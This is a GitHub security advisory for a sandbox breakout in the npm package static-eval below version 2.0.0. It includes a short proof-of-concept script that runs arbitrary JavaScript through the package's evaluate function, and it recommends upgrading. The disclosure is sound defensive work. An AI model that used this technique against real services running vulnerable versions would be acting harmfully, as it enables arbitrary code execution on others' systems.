GHSA-5mjw-6jrh-hvfqMedium

Sandbox Breakout / Arbitrary Code Execution in static-eval

Published
August 6, 2018
Last Modified
September 11, 2023

🔗 CVE IDs covered (1)

📋 Description

Affected versions of static-eval pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = '(function(){console.log(process.pid)})()';
var ast = parse(src).body[0].expression;
var res = evaluate(ast, {});
// Will print the process id

Recommendation

Update to version 2.0.0 or later.

🎯 Affected products1

  • npm/static-eval:< 2.0.0

🔗 References (5)